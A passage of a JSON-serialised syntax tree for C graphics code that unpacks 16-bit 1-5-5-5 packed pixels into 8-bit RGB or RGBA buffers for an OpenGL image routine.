"parent": 420, "children": [], "start_point": {"row": 68, "column": 45}, "end_point": {"row": 68, "column": 46}}, {"id": 423, "type": "break_statement", "text": "break;", "parent": 273, "children": [424], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 10}}, {"id": 424, "type": "break", "text": "break", "parent": 423, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 9}}, {"id": 425, "type": "case_statement", "text": "case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;", "parent": 267, "children": [426, 427, 437, 1019], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 131, "column": 10}}, {"id": 426, "type": "case", "text": "case", "parent": 425, "children": [], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 72, "column": 6}}, {"id": 427, "type": "identifier", "text": "GL_UNSIGNED_SHORT_1_5_5_5_REV", "parent": 425, "children": [], "start_point": {"row": 72, "column": 7}, "end_point": {"row": 72, "column": 36}}, {"id": 428, "type": "call_expression", "text": "assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV)", "parent": 425, "children": [429, 430], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 56}}, {"id": 429, "type": "identifier", "text": "assert", "parent": 428, "children": [], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 10}}, {"id": 430, "type": "argument_list", "text": "(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV)", "parent": 428, "children": [431], "start_point": {"row": 73, "column": 10}, "end_point": {"row": 73, "column": 56}}, {"id": 431, "type": "binary_expression", "text": "image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV", "parent": 430, "children": [432, 435, 436], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 55}}, {"id": 432, "type": "field_expression", "text": "image->type", "parent": 431, "children": [433, 434], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 22}}, {"id": 433, "type": "identifier", "text": "image", "parent": 432, "children": [], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 16}}, {"id": 434, "type": "field_identifier", "text": "type", "parent": 432, "children": [], "start_point": {"row": 73, "column": 18}, "end_point": {"row": 73, "column": 22}}, {"id": 435, "type": "==", "text": "==", "parent": 431, "children": [], "start_point": {"row": 73, "column": 23}, "end_point": {"row": 73, "column": 25}}, {"id": 436, "type": "identifier", "text": "GL_UNSIGNED_SHORT_1_5_5_5_REV", "parent": 431, "children": [], "start_point": {"row": 73, "column": 26}, "end_point": {"row": 73, "column": 55}}, {"id": 437, "type": "if_statement", "text": "if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }", "parent": 425, "children": [438, 734], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 128, "column": 5}}, {"id": 438, "type": "parenthesized_expression", "text": "(image->components == 4)", "parent": 437, "children": [439], "start_point": {"row": 74, "column": 7}, "end_point": {"row": 74, "column": 31}}, {"id": 439, "type": "binary_expression", "text": "image->components == 4", "parent": 438, "children": [440, 443, 444], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 30}}, {"id": 440, "type": "field_expression", "text": "image->components", "parent": 439, "children": [441, 442], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 25}}, {"id": 441, "type": "identifier", "text": "image", "parent": 440, "children": [], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 13}}, {"id": 442, "type": "field_identifier", "text": "components", "parent": 440, "children": [], "start_point": {"row": 74, "column": 15}, "end_point": {"row": 74, "column": 25}}, {"id": 443, "type": "==", "text": "==", "parent": 439, "children": [], "start_point": {"row": 74, "column": 26}, "end_point": {"row": 74, "column": 28}}, {"id": 444, "type": "number_literal", "text": "4", "parent": 439, "children": [], "start_point": {"row": 74, "column": 29}, "end_point": {"row": 74, "column": 30}}, {"id": 445, "type": "assignment_expression", "text": "image->format = GL_RGBA", "parent": 437, "children": [446, 449, 450], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 75, "column": 29}}, {"id": 446, "type": "field_expression", "text": "image->format", "parent": 445, "children": [447, 448], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 75, "column": 19}}, {"id": 447, "type": "identifier", "text": "image", "parent": 446, "children": [], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 75, "column": 11}}, {"id": 448, "type": "field_identifier", "text": "format", "parent": 446, "children": [], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 19}}, {"id": 449, "type": "=", "text": "=", "parent": 445, "children": [], "start_point": {"row": 75, "column": 20}, "end_point": {"row": 75, "column": 21}}, {"id": 450, "type": "identifier", "text": "GL_RGBA", "parent": 445, "children": [], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 29}}, {"id": 451, "type": "assignment_expression", "text": "spixels = (GLubyte*) image->pixels", "parent": 437, "children": [452, 453, 454], "start_point": {"row": 76, "column": 6}, "end_point": {"row": 76, "column": 40}}, {"id": 452, "type": "identifier", "text": "spixels", "parent": 451, "children": [], "start_point": {"row": 76, "column": 6}, "end_point": {"row": 76, "column": 13}}, {"id": 453, "type": "=", "text": "=", "parent": 451, "children": [], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 15}}, {"id": 454, "type": "cast_expression", "text": "(GLubyte*) image->pixels", "parent": 451, "children": [455, 459], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 76, "column": 40}}, {"id": 455, "type": "type_descriptor", "text": "GLubyte*", "parent": 454, "children": [456, 457], "start_point": {"row": 76, "column": 17}, "end_point": {"row": 76, "column": 25}}, {"id": 456, "type": "type_identifier", "text": "GLubyte", "parent": 455, "children": [], "start_point": {"row": 76, "column": 17}, "end_point": {"row": 76, "column": 24}}, {"id": 457, "type": "abstract_pointer_declarator", "text": "*", "parent": 455, "children": [458], "start_point": {"row": 76, "column": 24}, "end_point": {"row": 76, "column": 25}}, {"id": 458, "type": "*", "text": "*", "parent": 457, "children": [], "start_point": {"row": 76, "column": 24}, "end_point": {"row": 76, "column": 25}}, {"id": 459, "type": "field_expression", "text": "image->pixels", "parent": 454, "children": [460, 461], "start_point": {"row": 76, "column": 27}, "end_point": {"row": 76, "column": 40}}, {"id": 460, "type": "identifier", "text": "image", "parent": 459, "children": [], "start_point": {"row": 76, "column": 27}, "end_point": {"row": 76, "column": 32}}, {"id": 461, "type": "field_identifier", "text": "pixels", "parent": 459, "children": [], "start_point": {"row": 76, "column": 34}, "end_point": {"row": 76, "column": 40}}, {"id": 462, "type": "assignment_expression", "text": "image->pixels = (GLubyte*) malloc(w * h * 4)", "parent": 437, "children": [463, 466, 467], "start_point": {"row": 77, "column": 6}, "end_point": {"row": 77, "column": 50}}, {"id": 463, "type": "field_expression", "text": "image->pixels", "parent": 462, "children": [464, 465], "start_point": {"row": 77, "column": 6}, "end_point": {"row": 77, "column": 19}}, {"id": 464, "type": "identifier", "text": "image", "parent": 463, "children": [], "start_point": {"row": 77, "column": 6}, "end_point": {"row": 77, "column": 11}}, {"id": 465, "type": "field_identifier", "text": "pixels", "parent": 463, "children": [], "start_point": {"row": 77, "column": 13}, "end_point": {"row": 77, "column": 19}}, {"id": 466, "type": "=", "text": "=", "parent": 462, "children": [], "start_point": {"row": 77, "column": 20}, "end_point": {"row": 77, "column": 21}}, {"id": 467, "type": "cast_expression", "text": "(GLubyte*) malloc(w * h * 4)", "parent": 462, "children": [468, 472], "start_point": {"row": 77, "column": 22}, "end_point": {"row": 77, "column": 50}}, {"id": 468, "type": "type_descriptor", "text": "GLubyte*", "parent": 467, "children": [469, 470], "start_point": {"row": 77, "column": 23}, "end_point": {"row": 77, "column": 31}}, {"id": 469, "type": "type_identifier", "text": "GLubyte", "parent": 468, "children": [], "start_point": {"row": 77, "column": 23}, "end_point": {"row": 77, "column": 30}}, {"id": 470, "type": "abstract_pointer_declarator", "text": "*", "parent": 468, "children": [471], "start_point": {"row": 77, "column": 30}, "end_point": {"row": 77, "column": 31}}, {"id": 471, "type": "*", "text": "*", "parent": 470, "children": [], "start_point": {"row": 77, "column": 30}, "end_point": {"row": 77, "column": 31}}, {"id": 472, "type": "call_expression", "text": "malloc(w * h * 4)", "parent": 467, "children": [473, 474], "start_point": {"row": 77, "column": 33}, "end_point": {"row": 77, "column": 50}}, {"id": 473, "type": "identifier", "text": "malloc", "parent": 472, "children": [], "start_point": {"row": 77, "column": 33}, "end_point": {"row": 77, "column": 39}}, {"id": 474, "type": "argument_list", "text": "(w * h * 4)", "parent": 472, "children": [475], "start_point": {"row": 77, "column": 39}, "end_point": {"row": 77, "column": 50}}, {"id": 475, "type": "binary_expression", "text": "w * h * 4", "parent": 474, "children": [476, 480, 481], "start_point": {"row": 77, "column": 40}, "end_point": {"row": 77, "column": 49}}, {"id": 476, "type": "binary_expression", "text": "w * h", "parent": 475, "children": [477, 478, 479], "start_point": {"row": 77, "column": 40}, "end_point": {"row": 77, "column": 45}}, {"id": 477, "type": "identifier", "text": "w", "parent": 476, "children": [], "start_point": {"row": 77, "column": 40}, "end_point": {"row": 77, "column": 41}}, {"id": 478, "type": "*", "text": "*", "parent": 476, "children": [], "start_point": {"row": 77, "column": 42}, "end_point": {"row": 77, "column": 43}}, {"id": 479, "type": "identifier", "text": "h", "parent": 476, "children": [], "start_point": {"row": 77, "column": 44}, "end_point": {"row": 77, "column": 45}}, {"id": 480, "type": "*", "text": "*", "parent": 475, "children": [], "start_point": {"row": 77, "column": 46}, "end_point": {"row": 77, "column": 47}}, {"id": 481, "type": "number_literal", "text": "4", "parent": 475, "children": [], "start_point": {"row": 77, "column": 48}, "end_point": {"row": 77, "column": 49}}, {"id": 482, "type": "assignment_expression", "text": "pixels = image->pixels", "parent": 437, "children": [483, 484, 485], "start_point": {"row": 78, "column": 6}, "end_point": {"row": 78, "column": 28}}, {"id": 483, "type": "identifier", "text": "pixels", "parent": 482, "children": [], "start_point": {"row": 78, "column": 6}, "end_point": {"row": 78, "column": 12}}, {"id": 484, "type": "=", "text": "=", "parent": 482, "children": [], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 14}}, {"id": 485, "type": "field_expression", "text": "image->pixels", "parent": 482, "children": [486, 487], "start_point": {"row": 78, "column": 15}, "end_point": {"row": 78, "column": 28}}, {"id": 486, "type": "identifier", "text": "image", "parent": 485, "children": [], "start_point": {"row": 78, "column": 15}, "end_point": {"row": 78, "column": 20}}, {"id": 487, "type": "field_identifier", "text": "pixels", "parent": 485, "children": [], "start_point": {"row": 78, "column": 22}, "end_point": {"row": 78, "column": 28}}, {"id": 488, "type": "for_statement", "text": "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }", "parent": 437, "children": [489, 493, 497], "start_point": {"row": 79, "column": 6}, "end_point": {"row": 100, "column": 7}}, {"id": 489, "type": "assignment_expression", "text": "j=0", "parent": 488, "children": [490, 491, 492], "start_point": {"row": 79, "column": 11}, "end_point": {"row": 79, "column": 14}}, {"id": 490, "type": "identifier", "text": "j", "parent": 489, "children": [], "start_point": {"row": 79, "column": 11}, "end_point": {"row": 79, "column": 12}}, {"id": 491, "type": "=", "text": "=", "parent": 489, "children": [], "start_point": {"row": 79, "column": 12}, "end_point": {"row": 79, "column": 13}}, {"id": 492, "type": "number_literal", "text": "0", "parent": 489, "children": [], "start_point": {"row": 79, "column": 13}, "end_point": {"row": 79, "column": 14}}, {"id": 493, "type": "binary_expression", "text": "j<h", "parent": 488, "children": [494, 495, 496], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 19}}, {"id": 494, "type": "identifier", "text": "j", "parent": 493, "children": [], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 17}}, {"id": 495, "type": "<", "text": "<", "parent": 493, "children": [], "start_point": {"row": 79, "column": 17}, "end_point": {"row": 79, "column": 18}}, {"id": 496, "type": "identifier", "text": "h", "parent": 493, "children": [], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 19}}, {"id": 497, "type": "update_expression", "text": "j++", "parent": 488, "children": [498, 499], "start_point": {"row": 79, "column": 21}, "end_point": {"row": 79, "column": 24}}, {"id": 498, "type": "identifier", "text": "j", "parent": 497, "children": [], "start_point": {"row": 79, "column": 21}, "end_point": {"row": 79, "column": 22}}, {"id": 499, "type": "++", "text": "++", "parent": 497, "children": [], "start_point": {"row": 79, "column": 22}, "end_point": {"row": 79, "column": 24}}, {"id": 500, "type": "for_statement", "text": "for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }", "parent": 488, "children": [501, 505, 509], "start_point": {"row": 80, "column": 8}, "end_point": {"row": 99, "column": 9}}, {"id": 501, "type": "assignment_expression", "text": "i=0", "parent": 500, "children": [502, 503, 504], "start_point": {"row": 80, "column": 13}, "end_point": {"row": 80, "column": 16}}, {"id": 502, "type": "identifier", "text": "i", "parent": 501, "children": [], "start_point": {"row": 80, "column": 13}, "end_point": {"row": 80, "column": 14}}, {"id": 503, "type": "=", "text": "=", "parent": 501, "children": [], "start_point": {"row": 80, "column": 14}, "end_point": {"row": 80, "column": 15}}, {"id": 504, "type": "number_literal", "text": "0", "parent": 501, "children": [], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 16}}, {"id": 505, "type": "binary_expression", "text": "i<w", "parent": 500, "children": [506, 507, 508], "start_point": {"row": 80, "column": 18}, "end_point": {"row": 80, "column": 21}}, {"id": 506, "type": "identifier", "text": "i", "parent": 505, "children": [], "start_point": {"row": 80, "column": 18}, "end_point": {"row": 80, "column": 19}}, {"id": 507, "type": "<", "text": "<", "parent": 505, "children": [], "start_point": {"row": 80, "column": 19}, "end_point": {"row": 80, "column": 20}}, {"id": 508, "type": "identifier", "text": "w", "parent": 505, "children": [], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 21}}, {"id": 509, "type": "update_expression", "text": "i++", "parent": 500, "children": [510, 511], "start_point": {"row": 80, "column": 23}, "end_point": {"row": 80, "column": 26}}, {"id": 510, "type": "identifier", "text": "i", "parent": 509, "children": [], "start_point": {"row": 80, "column": 23}, "end_point": {"row": 80, "column": 24}}, {"id": 511, "type": "++", "text": "++", "parent": 509, "children": [], "start_point": {"row": 80, "column": 24}, "end_point": {"row": 80, "column": 26}}, {"id": 512, "type": "declaration", "text": "GLubyte red, green, blue;", "parent": 500, "children": [513, 514, 515, 516], "start_point": {"row": 81, "column": 10}, "end_point": {"row": 81, "column": 35}}, {"id": 513, "type": "type_identifier", "text": "GLubyte", "parent": 512, "children": [], "start_point": {"row": 81, "column": 10}, "end_point": {"row": 81, "column": 17}}, {"id": 514, "type": "identifier", "text": "red", "parent": 512, "children": [], "start_point": {"row": 81, "column": 18}, "end_point": {"row": 81, "column": 21}}, {"id": 515, "type": "identifier", "text": "green", "parent": 512, "children": [], "start_point": {"row": 81, "column": 23}, "end_point": {"row": 81, "column": 28}}, {"id": 516, "type": "identifier", "text": "blue", "parent": 512, "children": [], "start_point": {"row": 81, "column": 30}, "end_point": {"row": 81, "column": 34}}, {"id": 517, "type": "assignment_expression", "text": "spixel[0] = spixels[(j*w+i)*2+0]", "parent": 500, "children": [518, 521, 522], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 42}}, {"id": 518, "type": "subscript_expression", "text": "spixel[0]", "parent": 517, "children": [519, 520], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 19}}, {"id": 519, "type": "identifier", "text": "spixel", "parent": 518, "children": [], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 16}}, {"id": 520, "type": "number_literal", "text": "0", "parent": 518, "children": [], "start_point": {"row": 83, "column": 17}, "end_point": {"row": 83, "column": 18}}, {"id": 521, "type": "=", "text": "=", "parent": 517, "children": [], "start_point": {"row": 83, "column": 20}, "end_point": {"row": 83, "column": 21}}, {"id": 522, "type": "subscript_expression", "text": "spixels[(j*w+i)*2+0]", "parent": 517, "children": [523, 524], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 42}}, {"id": 523, "type": "identifier", "text": "spixels", "parent": 522, "children": [], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 29}}, {"id": 524, "type": "binary_expression", "text": "(j*w+i)*2+0", "parent": 522, "children": [525, 536, 537], "start_point": {"row": 83, "column": 30}, "end_point": {"row": 83, "column": 41}}, {"id": 525, "type": "binary_expression", "text": "(j*w+i)*2", "parent": 524, "children": [526, 534, 535], "start_point": {"row": 83, "column": 30}, "end_point": {"row": 83, "column": 39}}, {"id": 526, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 525, "children": [527], "start_point": {"row": 83, "column": 30}, "end_point": {"row": 83, "column": 37}}, {"id": 527, "type": "binary_expression", "text": "j*w+i", "parent": 526, "children": [528, 532, 533], "start_point": {"row": 83, "column": 31}, "end_point": {"row": 83, "column": 36}}, {"id": 528, "type": "binary_expression", "text": "j*w", "parent": 527, "children": [529, 530, 531], "start_point": {"row": 83, "column": 31}, "end_point": {"row": 83, "column": 34}}, {"id": 529, "type": "identifier", "text": "j", "parent": 528, "children": [], "start_point": {"row": 83, "column": 31}, "end_point": {"row": 83, "column": 32}}, {"id": 530, "type": "*", "text": "*", "parent": 528, "children": [], "start_point": {"row": 83, "column": 32}, "end_point": {"row": 83, "column": 33}}, {"id": 531, "type": "identifier", "text": "w", "parent": 528, "children": [], "start_point": {"row": 83, "column": 33}, "end_point": {"row": 83, "column": 34}}, {"id": 532, "type": "+", "text": "+", "parent": 527, "children": [], "start_point": {"row": 83, "column": 34}, "end_point": {"row": 83, "column": 35}}, {"id": 533, "type": "identifier", "text": "i", "parent": 527, "children": [], "start_point": {"row": 83, "column": 35}, "end_point": {"row": 83, "column": 36}}, {"id": 534, "type": "*", "text": "*", "parent": 525, "children": [], "start_point": {"row": 83, "column": 37}, "end_point": {"row": 83, "column": 38}}, {"id": 535, "type": "number_literal", "text": "2", "parent": 525, "children": [], "start_point": {"row": 83, "column": 38}, "end_point": {"row": 83, "column": 39}}, {"id": 536, "type": "+", "text": "+", "parent": 524, "children": [], "start_point": {"row": 83, "column": 39}, "end_point": {"row": 83, "column": 40}}, {"id": 537, "type": "number_literal", "text": "0", "parent": 524, "children": [], "start_point": {"row": 83, "column": 40}, "end_point": {"row": 83, "column": 41}}, {"id": 538, "type": "assignment_expression", "text": "spixel[1] = spixels[(j*w+i)*2+1]", "parent": 500, "children": [539, 542, 543], "start_point": {"row": 84, "column": 10}, "end_point": {"row": 84, "column": 42}}, {"id": 539, "type": "subscript_expression", "text": "spixel[1]", "parent": 538, "children": [540, 541], "start_point": {"row": 84, "column": 10}, "end_point": {"row": 84, "column": 19}}, {"id": 540, "type": "identifier", "text": "spixel", "parent": 539, "children": [], "start_point": {"row": 84, "column": 10}, "end_point": {"row": 84, "column": 16}}, {"id": 541, "type": "number_literal", "text": "1", "parent": 539, "children": [], "start_point": {"row": 84, "column": 17}, "end_point": {"row": 84, "column": 18}}, {"id": 542, "type": "=", "text": "=", "parent": 538, "children": [], "start_point": {"row": 84, "column": 20}, "end_point": {"row": 84, "column": 21}}, {"id": 543, "type": "subscript_expression", "text": "spixels[(j*w+i)*2+1]", "parent": 538, "children": [544, 545], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 42}}, {"id": 544, "type": "identifier", "text": "spixels", "parent": 543, "children": [], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 29}}, {"id": 545, "type": "binary_expression", "text": "(j*w+i)*2+1", "parent": 543, "children": [546, 557, 558], "start_point": {"row": 84, "column": 30}, "end_point": {"row": 84, "column": 41}}, {"id": 546, "type": "binary_expression", "text": "(j*w+i)*2", "parent": 545, "children": [547, 555, 556], "start_point": {"row": 84, "column": 30}, "end_point": {"row": 84, "column": 39}}, {"id": 547, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 546, "children": [548], "start_point": {"row": 84, "column": 30}, "end_point": {"row": 84, "column": 37}}, {"id": 548, "type": "binary_expression", "text": "j*w+i", "parent": 547, "children": [549, 553, 554], "start_point": {"row": 84, "column": 31}, "end_point": {"row": 84, "column": 36}}, {"id": 549, "type": "binary_expression", "text": "j*w", "parent": 548, "children": [550, 551, 552], "start_point": {"row": 84, "column": 31}, "end_point": {"row": 84, "column": 34}}, {"id": 550, "type": "identifier", "text": "j", "parent": 549, "children": [], "start_point": {"row": 84, "column": 31}, "end_point": {"row": 84, "column": 32}}, {"id": 551, "type": "*", "text": "*", "parent": 549, "children": [], "start_point": {"row": 84, "column": 32}, "end_point": {"row": 84, "column": 33}}, {"id": 552, "type": "identifier", "text": "w", "parent": 549, "children": [], "start_point": {"row": 84, "column": 33}, "end_point": {"row": 84, "column": 34}}, {"id": 553, "type": "+", "text": "+", "parent": 548, "children": [], "start_point": {"row": 84, "column": 34}, "end_point": {"row": 84, "column": 35}}, {"id": 554, "type": "identifier", "text": "i", "parent": 548, "children": [], "start_point": {"row": 84, "column": 35}, "end_point": {"row": 84, "column": 36}}, {"id": 555, "type": "*", "text": "*", "parent": 546, "children": [], "start_point": {"row": 84, "column": 37}, "end_point": {"row": 84, "column": 38}}, {"id": 556, "type": "number_literal", "text": "2", "parent": 546, "children": [], "start_point": {"row": 84, "column": 38}, "end_point": {"row": 84, "column": 39}}, {"id": 557, "type": "+", "text": "+", "parent": 545, "children": [], "start_point": {"row": 84, "column": 39}, "end_point": {"row": 84, "column": 40}}, {"id": 558, "type": "number_literal", "text": "1", "parent": 545, "children": [], "start_point": {"row": 84, "column": 40}, "end_point": {"row": 84, "column": 41}}, {"id": 559, "type": "assignment_expression", "text": "red = (spixel[1] & 0x7c) >> 2", "parent": 500, "children": [560, 561, 562], "start_point": {"row": 86, "column": 10}, "end_point": {"row": 86, "column": 39}}, {"id": 560, "type": "identifier", "text": "red", "parent": 559, "children": [], "start_point": {"row": 86, "column": 10}, "end_point": {"row": 86, "column": 13}}, {"id": 561, "type": "=", "text": "=", "parent": 559, "children": [], "start_point": {"row": 86, "column": 14}, "end_point": {"row": 86, "column": 15}}, {"id": 562, "type": "binary_expression", "text": "(spixel[1] & 0x7c) >> 2", "parent": 559, "children": [563, 569, 570], "start_point": {"row": 86, "column": 16}, "end_point": {"row": 86, "column": 39}}, {"id": 563, "type": "parenthesized_expression", "text": "(spixel[1] & 0x7c)", "parent": 562, "children": [564], "start_point": {"row": 86, "column": 16}, "end_point": {"row": 86, "column": 34}}, {"id": 564, "type": "binary_expression", "text": "spixel[1] & 0x7c", "parent": 563, "children": [565, 568], "start_point": {"row": 86, "column": 17}, "end_point": {"row": 86, "column": 33}}, {"id": 565, "type": "subscript_expression", "text": "spixel[1]", "parent": 564, "children": [566, 567], "start_point": {"row": 86, "column": 17}, "end_point": {"row": 86, "column": 26}}, {"id": 566, "type": "identifier", "text": "spixel", "parent": 565, "children": [], "start_point": {"row": 86, "column": 17}, "end_point": {"row": 86, "column": 23}}, {"id": 567, "type": "number_literal", "text": "1", "parent": 565, "children": [], "start_point": {"row": 86, "column": 24}, "end_point": {"row": 86, "column": 25}}, {"id": 568, "type": "number_literal", "text": "0x7c", "parent": 564, "children": [], "start_point": {"row": 86, "column": 29}, "end_point": {"row": 86, "column": 33}}, {"id": 569, "type": ">>", "text": ">>", "parent": 562, "children": [], "start_point": {"row": 86, "column": 35}, "end_point": {"row": 86, "column": 37}}, {"id": 570, "type": "number_literal", "text": "2", "parent": 562, "children": [], "start_point": {"row": 86, "column": 38}, "end_point": {"row": 86, "column": 39}}, {"id": 571, "type": "assignment_expression", "text": "red = (red << 3) | ((red & 0x1) * 0x7)", "parent": 500, "children": [572, 573, 574], "start_point": {"row": 87, "column": 10}, "end_point": {"row": 87, "column": 48}}, {"id": 572, "type": "identifier", "text": "red", "parent": 571, "children": [], "start_point": {"row": 87, "column": 10}, "end_point": {"row": 87, "column": 13}}, {"id": 573, "type": "=", "text": "=", "parent": 571, "children": [], "start_point": {"row": 87, "column": 14}, "end_point": {"row": 87, "column": 15}}, {"id": 574, "type": "binary_expression", "text": "(red << 3) | ((red & 0x1) * 0x7)", "parent": 571, "children": [575, 580], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 87, "column": 48}}, {"id": 575, "type": "parenthesized_expression", "text": "(red << 3)", "parent": 574, "children": [576], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 87, "column": 26}}, {"id": 576, "type": "binary_expression", "text": "red << 3", "parent": 575, "children": [577, 578, 579], "start_point": {"row": 87, "column": 17}, "end_point": {"row": 87, "column": 25}}, {"id": 577, "type": "identifier", "text": "red", "parent": 576, "children": [], "start_point": {"row": 87, "column": 17}, "end_point": {"row": 87, "column": 20}}, {"id": 578, "type": "<<", "text": "<<", "parent": 576, "children": [], "start_point": {"row": 87, "column": 21}, "end_point": {"row": 87, "column": 23}}, {"id": 579, "type": "number_literal", "text": "3", "parent": 576, "children": [], "start_point": {"row": 87, "column": 24}, "end_point": {"row": 87, "column": 25}}, 